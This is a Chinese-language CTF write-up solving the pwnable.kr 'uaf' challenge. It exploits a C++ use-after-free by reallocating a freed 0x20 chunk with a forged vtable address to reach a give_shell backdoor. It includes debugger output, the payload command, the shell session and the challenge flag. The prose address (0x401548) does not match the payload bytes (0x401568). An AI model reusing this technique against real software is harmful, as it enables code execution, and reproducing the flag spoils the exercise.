pwnable.kr 之 uaf

题如其名,不过是c++的uaf漏洞,还好给了源码,不至于去IDA里面看那么丑的伪代码

程序中有后门give_shell

结构体中有函数指针,introduce

free选项delete后没有清空指针存在UAF

after选项中会new 一个新的空间,从文件中将内容读入

通过跟踪分析程序可知,存放着指针的堆块大小为0x20

1
2
3
4
5
6
7
8
9
pwndbg> telescope 0x614c90
00:0000│ 0x614c90 ◂— 0x0
01:0008│ 0x614c98 ◂— 0x21 /* '!' */
02:0010│ rbx 0x614ca0 —▸ 0x401550 —▸ 0x40117a (Human::give_shell()) ◂— push rbp
03:0018│ 0x614ca8 ◂— 0x15
04:0020│ 0x614cb0 —▸ 0x614c88 ◂— 0x6c6c694a /* 'Jill' */
05:0028│ 0x614cb8 ◂— 0x411
06:0030│ 0x614cc0 ◂— '3. free\n\n'
07:0038│ 0x614cc8 ◂— 0xa /* '\n' */

所以只需要free后申请 0x20 大小的堆块,并写入0x401548即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
uaf@pwnable:~$ python -c "print '\x68\x15\x40\x00\x00\x00\x00\x00'" > /tmp/uaf_str
uaf@pwnable:~$ ./uaf 8 /tmp/uaf_str
1. use
2. after
3. free
3
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
1
$ ls
flag uaf uaf.cpp
$ cat flag
yay_f1ag_aft3r_pwning

注意需要写两次,因为delete的顺序是
delete m;
delete w;
而use的顺序是
m->introduce();
w->introduce();

所以需要两次才能把m申请出来

0%